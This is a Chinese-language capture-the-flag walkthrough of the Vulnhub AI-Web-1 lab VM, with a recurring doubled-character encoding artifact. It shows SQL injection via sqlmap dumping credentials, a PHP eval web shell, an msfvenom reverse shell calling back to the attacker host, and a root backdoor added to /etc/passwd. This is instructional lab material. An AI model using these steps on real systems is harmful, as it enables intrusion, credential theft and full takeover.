Vulnhub靶機(jī)-Al-Web-1
靶機(jī):Al-Web-1.0
靶機(jī)下載地址:https://www.vulnhub.com/entry/ai-web-1,353/
虛擬機(jī)環(huán)境:橋接模式(保證在同一個(gè)網(wǎng)段方便掃描)
靶機(jī)搭建方式:下載好的靶場(chǎng)是一個(gè)壓縮包,解壓后直接用Vmware就能導(dǎo)入,導(dǎo)入后將網(wǎng)絡(luò)連接方式改外橋接
靶機(jī)IP:192.168.3.67
kali機(jī)IP:192.168.3.62
Al-Web-1.0靶機(jī)

一、信息收集
1. 發(fā)現(xiàn)靶機(jī)
先掃描網(wǎng)段,找到靶機(jī)IP地址為192.168.3.67
nmap -sn 192.168.3.0/24
# -sn 表示nmap在主機(jī)發(fā)現(xiàn)后不進(jìn)行端口掃描只顯示出響應(yīng)主機(jī)發(fā)現(xiàn)探測(cè)的可用主機(jī)

2. 掃描靶機(jī)開(kāi)啟的端口號(hào)
nmap -p- -A 192.168.3.67
# -p- 對(duì)全端口進(jìn)行掃描
# -A 全面系統(tǒng)探測(cè)、版本探測(cè)、腳本掃描、路由追蹤
發(fā)現(xiàn)有開(kāi)放80端口,并且有個(gè)robots.txt可能有用

瀏覽器訪(fǎng)問(wèn)一下,發(fā)現(xiàn)并不能直接得到有用的信息



3. 目錄掃描
從剛才的robots.txt文件中我們知道了有幾個(gè)目錄,現(xiàn)在掃描一下這些目錄,這里遍歷出兩個(gè)文件,一個(gè)info.php的文件,一個(gè)index.php


瀏覽器分別訪(fǎng)問(wèn)一下,發(fā)現(xiàn)第一個(gè)info.php是一個(gè)phpinfo信息,那就查看一下權(quán)限用戶(hù)和網(wǎng)站根目錄


第二個(gè)文件發(fā)現(xiàn)這里可以輸入文字,感覺(jué)可以進(jìn)行sql注入,先測(cè)試一下,發(fā)現(xiàn)可以回顯信息
1’ and 1=1 # 正常
1’ and 1=2 # 出錯(cuò)


看來(lái)這里是與數(shù)據(jù)庫(kù)有交互的
二、SQL注入
哎,太懶啦,就用sqlmap來(lái)跑一下就行吧
1. 抓包
將數(shù)據(jù)包保存為data.txt放在桌面,等一下利用

2. 爆表
sqlmap -r data.txt --current-db --batch
# -r 從文件中讀取HTTP請(qǐng)求
# --current-db 獲取當(dāng)前數(shù)據(jù)庫(kù)
# --batch 不詢(xún)問(wèn)用戶(hù)輸入,執(zhí)行默認(rèn)配置
爆出當(dāng)前數(shù)據(jù)庫(kù)為aiweb1

3. 爆表
sqlmap -r data.txt -D "aiweb1" --tables --batch
# -D 指定要枚舉的數(shù)據(jù)庫(kù)
# --tables 枚舉出數(shù)據(jù)庫(kù)中所有的表

4. 爆列信息
指定systemUser表
sqlmap -r data.txt -D "aiweb1" -T "systemUser" --columns --batch
# -T 指定要枚舉的數(shù)據(jù)表
# --columns 枚舉出指定數(shù)據(jù)表中所有的列

5. 爆字段信息
sqlmap -r data.txt -D "aiweb1" -T "systemUser" -C "id,password,username" --dump --batch
# -C 指定要枚舉的數(shù)據(jù)列
# --dump導(dǎo)出指定數(shù)據(jù)庫(kù)的表項(xiàng)

發(fā)現(xiàn)密碼被加密了,使用base64解密一下

做到這里發(fā)現(xiàn)一個(gè)問(wèn)題,雖然成功爆出數(shù)據(jù)庫(kù)的信息,但是好像并沒(méi)有可以登陸的后臺(tái)什么的可以利用,我丟!
不過(guò)雖然數(shù)據(jù)信息暫時(shí)無(wú)法利用,但是不代表不可以通過(guò)sql注入寫(xiě)入數(shù)據(jù)
6. 使用sqlmap寫(xiě)shell
在剛才信息收集中我們?cè)趓obots.txt文件中發(fā)現(xiàn)了一個(gè)/se3reTdir777/uploads/的路徑,并且也讀到過(guò)phpinfo信息,從info.php文件中我們知道了根目錄的路徑,那現(xiàn)在就可以在uploads/路徑下上傳文件,通過(guò)sqlmap進(jìn)行寫(xiě)入。我們直接寫(xiě)入一個(gè)木馬文件試試
sqlmap -r ./data.txt --file-write="muma.php" --file-dest="/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/muma.php"
# --file-write=FILE 將指定文件FILE寫(xiě)入到后端DBMS文件系統(tǒng)中
# --file-dest=FILE 使用絕對(duì)路徑寫(xiě)入到后端DBMS中的文件系統(tǒng)中
# muma.php代碼
<?php @eval($_REQUEST['cmd']); ?>
可以看到成功寫(xiě)入了一個(gè)木馬文件,并且可以訪(fǎng)問(wèn)到它

7. 蟻劍連接
使用蟻劍連接,發(fā)現(xiàn)可以連接,但是沒(méi)有root權(quán)限。


三、反彈shell
1. 生成反彈shell木馬,通過(guò)剛才連接的蟻劍上傳
msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=192.168.3.62 lport=1234 -f elf > reverseshell.elf
# -p 指定需要使用的payload(攻擊荷載)
# lhost 設(shè)置成監(jiān)聽(tīng)設(shè)備的IP
# lport 設(shè)置成監(jiān)聽(tīng)設(shè)備的端口
# -f 指定輸出格式
# elf格式 一種用于二進(jìn)制文件、可執(zhí)行文件、目標(biāo)文件、共享庫(kù)和核心轉(zhuǎn)儲(chǔ)格式文件的文件格式


2. 在蟻劍中打開(kāi)終端,發(fā)現(xiàn)上傳的木馬沒(méi)有執(zhí)行權(quán)限,先開(kāi)啟執(zhí)行權(quán)限,再運(yùn)行,同時(shí)在kali中啟動(dòng)監(jiān)聽(tīng),成功反彈shell

use exploit/multi/handler #加載模塊
set payload linux/x64/meterpreter/reverse_tcp #修改成我們之前生成木馬時(shí)使用的payload
set LHOST 192.168.3.62 #設(shè)置監(jiān)聽(tīng)設(shè)備的IP地址(這里為kali)
set LPORT 1234 #設(shè)置監(jiān)聽(tīng)設(shè)備的監(jiān)聽(tīng)端口
run #啟動(dòng)監(jiān)聽(tīng)
在啟動(dòng)監(jiān)聽(tīng)后就可以在蟻劍那邊通過(guò)./reverseshell.elf執(zhí)行文件,等待反彈結(jié)果,可以看到成功反彈shell

四、提權(quán)
1. 在shell中通過(guò)python提權(quán)到tty
shell
python -c “import pty;pty.spawn(‘/bin/bash’)

發(fā)現(xiàn)/etc/passwd文件居然是www-data用戶(hù)擁有并且具有可讀可寫(xiě)權(quán)限

2. 在/etc/passwd文件里寫(xiě)入一個(gè)和root權(quán)限一樣的賬戶(hù),使用openssl生成一個(gè)加密密碼,這里準(zhǔn)備構(gòu)造一個(gè)用戶(hù)名為admin密碼也為admin的新賬戶(hù)并且使該賬戶(hù)具有root權(quán)限
openssl passwd -1 -salt admin admin
# passwd 生成密碼使用的標(biāo)準(zhǔn)命令
# -1 使用md5加密算法
# -salt 使用隨機(jī)數(shù)插入,默認(rèn)是加了salt的
# 第一個(gè)admin為賬戶(hù)名 第二個(gè)admin為賬戶(hù)密碼

將得到的密碼去/etc/passwd里構(gòu)造一個(gè)新用戶(hù)
echo 'admin:$1$admin$1kgWpnZpUx.vTroWPXPIB0:0:0::/root:/bin/bash' >> /etc/passwd
# admin為用戶(hù)名
# $1$admin$1kgWpnZpUx.vTroWPXPIB0 為openssl生成的密碼,其實(shí)就是admin用戶(hù)的登陸口令
# 第一個(gè)0位User ID,即用戶(hù)識(shí)別碼,簡(jiǎn)稱(chēng)UID,0是系統(tǒng)管理員賬號(hào)
# 第二個(gè)0為Group ID,即用戶(hù)組識(shí)別碼,簡(jiǎn)稱(chēng)GID,0是管理員組
# 中間空了一個(gè)字段,所以為::,原本這里為comment,這是給用戶(hù)賬戶(hù)做注釋的
# /root 該賬號(hào)的主目錄,即“家”目錄,這里把a(bǔ)dmin用戶(hù)的“家”設(shè)置成root主目錄(root賬戶(hù)的主目錄就是/root)
# /bin/bash 用戶(hù)登陸后使用的shell

3. 登陸admin賬戶(hù),發(fā)現(xiàn)成功將權(quán)限提升到最高

現(xiàn)在進(jìn)入root,成功拿到flag

結(jié)束

浙公網(wǎng)安備 33010602011771號(hào)